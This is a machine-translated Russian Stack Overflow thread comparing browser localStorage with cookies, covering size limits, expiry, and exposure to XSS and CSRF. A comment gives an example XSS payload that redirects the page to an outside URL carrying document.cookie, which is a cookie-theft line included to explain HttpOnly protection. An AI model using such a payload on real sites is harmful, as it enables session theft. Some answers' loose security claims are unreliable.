Локальное хранилище против файлов cookie

1027

Я хочу сократить время загрузки своих сайтов, переместив все файлы cookie в локальное хранилище, поскольку они, похоже, имеют одинаковую функциональность. Есть ли плюсы / минусы (особенно с точки зрения производительности) в использовании локального хранилища для замены функциональности cookie, кроме очевидных проблем совместимости?

Gio Borje
источник
107
Возможные недостатки: значения localStorge на защищенных (SSL) страницах изолированы. Поэтому, если на вашем сайте есть страницы http и https, вы не сможете получить доступ к значениям, заданным на странице http, при посещении страницы https. Только что попробовал localStorage для ajax mini cart в магазине Magento. Epic fail ...
6
удивительно хорошо поддержанный (по сравнению с тем, что я ожидал) caniuse.com/#search=localstorage
Simon_Weaver
6
У некоторых пользователей в своих браузерах, как правило, отключены файлы cookie. Локальное хранилище может работать лучше для этих пользователей.
evolross
9
« Возможные недостатки: значения [localStorage] на защищенных (SSL) страницах изолированы » Это действительно большой потенциал.
любопытный парень
13
Вот почему вы должны просто включить SSL на своем веб-сайте ... Я не вижу смысла предлагать обе версии страницы, если у вас уже есть версия SSL.
xji

Ответы:

1277

Файлы cookie и локальное хранилище служат различным целям. Файлы cookie предназначены главным образом для чтения на стороне сервера , локальное хранилище может быть прочитано только на стороне клиента . Таким образом, вопрос в вашем приложении, кому нужны эти данные - клиент или сервер?

Если это ваш клиент (ваш JavaScript), то обязательно переключайтесь. Вы теряете пропускную способность, отправляя все данные в каждом заголовке HTTP.

Если это ваш сервер, локальное хранилище не так полезно, потому что вам придется каким-то образом пересылать данные (с Ajax или скрытыми полями формы или чем-то еще). Это может быть хорошо, если серверу требуется только небольшое подмножество общих данных для каждого запроса.

Вы все равно захотите оставить свой сессионный cookie как cookie.

По технической разнице, а также мое понимание:

  1. Помимо старого способа сохранения данных, куки-файлы дают вам ограничение в 4096 байт (на самом деле 4095) - это на файл cookie. Локальное хранилище составляет 5 МБ на домен - так что вопрос также упоминает.

  2. localStorageявляется реализацией Storageинтерфейса. Он хранит данные без даты истечения срока их действия и очищается только с помощью JavaScript или очистки кэша браузера / локально сохраненных данных - в отличие от срока действия файлов cookie.

jpsimons
источник
30
В HTML5 есть хранилище в области сеанса, которое также может быть использовано вместо файлов cookie сеанса.
Пэт Нимейер
5
@PatNiemeyer, вы можете принять sessionStorageза Cookie, срок действия которого истек до закрытия Браузера (не вкладки). @ darkporter, спасибо за ответ. Однако хотелось бы услышать техническую разницу между Cookies и Local Storage. жду ваших правок.
Ом Шанкар
28
@OmShankar Я не уверен, что у вас все еще есть это сомнение, но вот разница: localStorage остается на клиенте, пока cookiesотправляется с заголовком HTTP. Это самая большая (но не единственная) разница между ними.
Андре Калил
16
Если ваше клиентское приложение взаимодействует с REST API, то использование cookie для хранения и передачи идентификатора сеанса не является идиоматическим в REST. Итак, для меня куки выглядят как старая технология, которую, вероятно, следует заменить на локальное хранилище (+ JavaScript, если вам нужно передать некоторые данные, такие как идентификатор сеанса, на сервер).
Tvaroh
8
Локальное хранилище не обязательно является более безопасным выбором, чем файлы cookie, поскольку оно уязвимо для атак XSS. Лично я бы выбрал зашифрованный файл cookie HTTPS (возможно, с использованием JWT или JWE) с тщательно спланированной схемой истечения срока действия. т.е. реализовать как политику «истечения срока действия файлов cookie», так и процесс «обновления» файлов cookie на стороне сервера, чтобы уменьшить вероятность использования файлов cookie злонамеренными третьими лицами. Я написал ответ ниже со ссылкой на часть статьи Stormpath по этому вопросу.
XtraSimplicity
232

В контексте JWT Stormpath написал довольно полезную статью, в которой изложены возможные способы их хранения и (не) преимущества, относящиеся к каждому методу.

В нем также содержится краткий обзор атак XSS и CSRF и способов борьбы с ними.

Я приложил несколько коротких фрагментов статьи ниже, на случай, если их статья будет отключена или их сайт отключится.

Локальное хранилище

Проблемы:

Веб-хранилище (localStorage / sessionStorage) доступно через JavaScript в том же домене. Это означает, что любой JavaScript, работающий на вашем сайте, будет иметь доступ к веб-хранилищу, и из-за этого может быть уязвим к атакам межсайтового скриптинга (XSS). Короче говоря, XSS - это тип уязвимости, когда злоумышленник может внедрить JavaScript, который будет работать на вашей странице. Базовые XSS-атаки пытаются внедрить JavaScript через ввод данных, где злоумышленник ставит предупреждение («Вы взломаны»); в форму, чтобы увидеть, если он запускается браузером и может быть просмотрен другими пользователями.

Предупреждение:

Чтобы предотвратить XSS, общим ответом является экранирование и кодирование всех ненадежных данных. Но это далеко не полная история. В 2015 году современные веб-приложения используют JavaScript, размещенный на CDN или вне инфраструктуры. Современные веб-приложения включают сторонние библиотеки JavaScript для A / B-тестирования, анализа воронки / рынка и рекламы. Мы используем менеджеры пакетов, такие как Bower, чтобы импортировать чужой код в наши приложения.

Что если скомпрометирован только один из используемых вами сценариев? На страницу может быть встроен вредоносный JavaScript, и веб-хранилище будет взломано. Эти типы атак XSS могут получить все веб-хранилища, которые посещают ваш сайт, без их ведома. Вероятно, поэтому многие организации советуют не хранить ничего ценного или доверять какой-либо информации в веб-хранилище. Это включает в себя идентификаторы сессии и токены.

В качестве механизма хранения Web Storage не применяет никаких безопасных стандартов во время передачи. Любой, кто читает и использует веб-хранилище, должен проявить должную осмотрительность, чтобы всегда отправлять JWT по HTTPS, а не по HTTP.

Печенье

Проблемы:

Файлы cookie, используемые с флагом cookie HttpOnly, недоступны через JavaScript и защищены от XSS. Вы также можете установить флажок Безопасный файл cookie, чтобы гарантировать, что файл cookie отправляется только через HTTPS. Это одна из основных причин того, что в прошлом cookie-файлы использовались для хранения токенов или данных сеанса. Современные разработчики не решаются использовать куки, потому что они традиционно требовали, чтобы состояние сохранялось на сервере, что нарушает рекомендации RESTful. Файлы cookie как механизм хранения не требуют сохранения состояния на сервере, если вы сохраняете JWT в файле cookie. Это потому, что JWT инкапсулирует все, что нужно серверу для обслуживания запроса.

Однако файлы cookie уязвимы для атак другого типа: подделка межсайтовых запросов (CSRF). CSRF-атака - это тип атаки, которая происходит, когда вредоносный веб-сайт, электронная почта или блог заставляют веб-браузер пользователя выполнять нежелательные действия на доверенном сайте, на котором пользователь в настоящий момент проходит проверку подлинности. Это эксплойт того, как браузер обрабатывает куки. Файл cookie может быть отправлен только на те домены, на которых он разрешен. По умолчанию это домен, который изначально установил cookie. Файл cookie будет отправлен для запроса независимо от того, находитесь ли вы на galaxies.com или hahagonnahackyou.com.

Предупреждение:

Современные браузеры поддерживают SameSiteфлаг , в дополнение к HttpOnlyи Secure. Целью этого флага является предотвращение передачи cookie в межсайтовых запросах, предотвращая многие виды CSRF-атак.

Для браузеров, которые не поддерживают SameSite, CSRF можно предотвратить с помощью синхронизированных шаблонов токенов. Это звучит сложно, но все современные веб-фреймворки поддерживают это.

Например, у AngularJS есть решение для проверки того, что файл cookie доступен только вашему домену. Прямо из документов AngularJS:

При выполнении запросов XHR служба $ http считывает токен из файла cookie (по умолчанию XSRF-TOKEN) и устанавливает его в качестве заголовка HTTP (X-XSRF-TOKEN). Поскольку только cookie, который работает в вашем домене, может читать cookie, ваш сервер может быть уверен, что XHR пришел из JavaScript, работающего в вашем домене. Вы можете сделать эту защиту CSRF без сохранения состояния, включив xsrfTokenутверждение JWT:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "tom@andromeda.com",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

Использование CSRF-защиты вашего веб-фреймворка делает файлы cookie надежными для хранения JWT. CSRF также можно частично предотвратить, проверив заголовок HTTP Referer и Origin в вашем API. Атаки CSRF будут иметь заголовки Referer и Origin, которые не связаны с вашим приложением.

Полный текст статьи можно найти здесь: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

У них также есть полезная статья о том, как наилучшим образом спроектировать и внедрить JWT в отношении структуры самого токена: https://stormpath.com/blog/jwt-the-right-way/

XtraSimplicity
источник
6
Отличный момент. Удивленные последствия для безопасности локального хранилища (или его отсутствие для XSS) ранее не упоминались в таком хорошо читаемом вопросе - за исключением одного ответа, который неверно ИМХО предполагает, что он более безопасен!
Барри Поллард
25
Я считаю, что весь разговор о безопасности немного отвлекает, если честно. Да, localStorageдоступен для других сценариев на странице ... Но так и есть XMLHttpRequest... И да, флаг HttpOnly защищает от кражи cookie, но браузер по-прежнему автоматически отправляет его в соответствующий домен, так что ... в основном, если у вас есть вредоносные сценарии запустив на своей странице вы уже взломаны.
Стейн де Витт
3
@StijndeWitt Каждый уровень защиты имеет свои сильные и слабые стороны. Поэтому обычно лучше иметь несколько слоев защиты. Просто чтобы дать вам пример: HttpOnly также предотвращает атаки не-AJAX, как window.location = 'http://google.com?q=' + escape(document.cookie);. Эта атака обходит проверку CORS браузерами.
Мемет Олсен
Предполагая, что у вас есть менее чем полностью доверенные поставщики для некоторых вещей, таких как реклама ... почему ваши объявления обслуживаются тем же доменом, что и ваш собственный доверенный контент? Объявления просто должны отображаться внутри веб-страницы, им обычно не нужно запускать JS внутри страницы. Так много интеграции для стороннего контента не требуется.
любопытный парень
Почему токен csrf в файле cookie (который по определению должен быть не только для http, чтобы его можно было читать через JavaScript и отправлять через заголовок) помогает с точки зрения безопасности? Если мой сайт уязвим для xss, файл cookie может быть прочитан так же легко, как локальное / сессионное хранилище
Juangamnik
97

С помощью localStorageвеб-приложений можно хранить данные локально в браузере пользователя. До HTML5 данные приложения должны были храниться в файлах cookie, включенных в каждый запрос к серверу. Большие объемы данных могут храниться локально, не влияя на производительность сайта. Хотя localStorageэто более современно, у обоих методов есть свои плюсы и минусы.

Печенье

Pros

  • Устаревшая поддержка (это было всегда)
  • Постоянные данные
  • Срок годности

Cons

  • Каждый домен хранит все свои куки в одной строке, что может затруднить анализ данных
  • Данные не зашифрованы, что становится проблемой, потому что ... ... хотя они и имеют небольшой размер, cookie-файлы отправляются с каждым HTTP-запросом Ограниченный размер (4 КБ)
  • SQL-инъекция может быть выполнена из cookie

Локальное хранилище

Pros

  • Поддержка большинством современных браузеров
  • Постоянные данные, которые хранятся прямо в браузере
  • Правила одинакового происхождения применяются к локальным данным хранения
  • Не отправляется с каждым HTTP-запросом
  • ~ 5 МБ хранилища на домен (это 5120 КБ)

Cons

  • Раньше ничего не поддерживали: IE 8, Firefox 3.5, Safari 4, Chrome 4, Opera 10.5, iOS 2.0, Android 2.0
  • Если серверу нужна сохраненная информация о клиенте, вы намеренно должны отправить ее.

localStorageиспользование почти идентично сеансу. У них есть довольно точные методы, поэтому переход от сессии к localStorageдействительно детской игре. Однако, если сохраненные данные действительно важны для вашего приложения, вы, вероятно, будете использовать файлы cookie в качестве резервной копии, если они localStorageнедоступны. Если вы хотите проверить поддержку браузера localStorage, все, что вам нужно сделать, это запустить этот простой скрипт:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

«Значения localStorage на защищенных (SSL) страницах изолированы», поскольку кто-то заметил, что помните, что localStorage будет недоступен, если вы переключитесь с защищенного протокола «http» на «https», где файл cookie все еще будет доступен. Это очень важно знать, если вы работаете с защищенными протоколами.

DevWL
источник
1
Проверка, которую вы делаете, не очень надежна. Существуют браузеры и режимы (приватные), которые имеют объект Storage, но не могут установить для него значения. Единственный способ проверить фактическую поддержку - попытаться поймать на нем удаление набора.
JavaScript
Точка взята, я обновил свой ответ относительно ответа Джо по адресу: stackoverflow.com/questions/16427636/…
DevWL
10
поскольку «SQL-инъекция может быть выполнена» указана как противопоставление cookie, вы говорите, что ее нельзя выполнить из localStorage?
Мартин Шнайдер
Еще один профи для Cookies. Файлы cookie могут быть помечены как HTTPOnly. Это означает, что к ним нельзя получить доступ из JavaScript, что, в свою очередь, означает, что никакие злонамеренные XSS-атаки не могут извлечь содержимое cookie. Из-за этого я бы не сказал, что локальное хранилище более безопасно, чем куки.
wp-overwatch.com
@ Mr.Me Хотя XSS-атаки не могут прочитать cookie-файл HTTPOnly, злоумышленник может выполнить любой HTTP-запрос, который пользователь может выполнить (по определению), ограниченный только сеансом браузера. Предполагая, что cookie-файл сеанса является непрозрачным идентификатором, как и почти все cookie-файлы сеанса, считывание значения cookie полезно только для выполнения HTTP-запроса, включая его: вы ничего не узнаете, используя только значение cookie. (Обратите внимание, что куки-файлы сеанса могут иногда быть связаны с определенным IP-адресом источника, заголовком пользовательского агента или другими характеристиками браузера; XSS-атаки выполняют HTTP-запросы от браузера, поэтому они совпадают.)
curiousguy
7

Что ж, скорость локального хранилища в значительной степени зависит от браузера, который использует клиент, а также от операционной системы. Chrome или Safari на Mac могут быть намного быстрее, чем Firefox на ПК, особенно с новыми API. Как всегда, тестирование - ваш друг (я не смог найти никаких ориентиров).

Я действительно не вижу огромной разницы между cookie и локальным хранилищем. Кроме того, вам следует больше беспокоиться о проблемах совместимости: не все браузеры даже начали поддерживать новые API-интерфейсы HTML5, поэтому файлы cookie будут лучшим выбором для скорости и совместимости.

pop850
источник
2
Это просто внутренний проект, поэтому такие вещи, как кросс-браузерная совместимость, на самом деле не нужны. Поскольку файлы cookie отправляются с каждым запросом HTTPRequest (мое приложение имеет ~ 77 запросов), что означает дополнительные накладные расходы ~ 500 КБ. Я знаю, что очевидным решением является CDN, но я хочу попробовать что-то, что не зависит от сервера. Я не смог найти никаких ориентиров, и поэтому я надеялся, что кто-то здесь может знать.
Gio Borje
14
Почему Chrome или Safari будут быстрее на Mac? Это в значительной степени один и тот же код браузера, работающий на Mac, Linux или Windows.
Марк К Коуэн
7

Стоит также упомянуть, что localStorageв некоторых версиях мобильного Safari пользователи не могут использовать его в «приватном» режиме.

Цитируется из MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):

Примечание. Начиная с iOS 5.1, Safari Mobile хранит данные localStorage в папке кэша, которая может периодически очищаться по указанию ОС, как правило, если места мало. Режим приватного просмотра в Safari Mobile также полностью запрещает запись в localStorage.

benjaminz
источник
6

Локальное хранилище может хранить до 5 МБ автономных данных, тогда как сеанс также может хранить до 5 МБ данных. Но куки могут хранить только 4 КБ данных в текстовом формате.

LOCAl и Session хранят данные в формате JSON, что позволяет легко их анализировать. Но данные куки находятся в строковом формате.

Авинаш Малхотра
источник
6

Печенье :

  1. Введено до HTML5.
  2. Имеет срок годности.
  3. Очистить с помощью JS или Clear Browsing Data браузера или после истечения срока годности.
  4. Будет отправлено на сервер за каждый запрос.
  5. Емкость 4 КБ.
  6. Только строки могут хранить в куки.
  7. Существует два типа файлов cookie: постоянные и сеансовые.

Локальное хранилище:

  1. Представлено с HTML5.
  2. Не имеет срока годности.
  3. Очистить с помощью JS или Clear Browsing Data браузера.
  4. Вы можете выбрать, когда данные должны быть отправлены на сервер.
  5. Емкость 5 МБ.
  6. Данные хранятся неопределенно долго и должны быть строкой.
  7. Есть только один тип.
Сейедрауф Модарреси
источник
6. localStorage может хранить только строки, примитивы и объекты должны быть преобразованы в строки перед хранением, 7. sessionStorage также доступен и идентичен localStorage, за исключением того, что он не сохраняется
Робби Милейчак
Вы можете хранить только укусы в хранилище
TheMisir